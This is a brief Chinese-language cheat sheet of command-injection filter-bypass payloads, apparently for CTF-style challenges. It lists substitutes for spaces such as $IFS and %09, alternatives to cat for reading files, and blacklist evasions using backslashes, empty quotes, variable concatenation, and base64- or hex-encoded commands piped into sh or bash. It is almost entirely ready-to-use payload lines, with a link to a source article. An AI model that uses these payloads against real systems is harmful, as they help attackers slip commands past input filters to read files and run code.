空格
<
<>
$IFS$1 # $1可改成$加其他数字
${IFS}
%20
%09
读取
cat
tac
more
less
tail
head
nl
od #od -t c filename
黑名单
-
\
ca\t te\st.txt
斜杠
-
''
ca''t te''st.txt
引号
-
$
ca$2t te$1st.txt
变量
-
变量
a=te;b=st.txt;cat $a$b
变量
- 编码
base64
echo Y2F0IHRlc3QudHh0|base64 -d| sh #b64编码部分为cat test.txt
echo Y2F0IHRlc3QudHh0|base64 -d| bash
b64
hex
echo "63617420746573742E747874" | xxd -r -p|sh #hex编码部分为cat test.txt
echo "63617420746573742E747874" | xxd -r -p|bash
hex
oct
参考文章:https://blog.csdn.net/wojiushilsy/article/details/106129503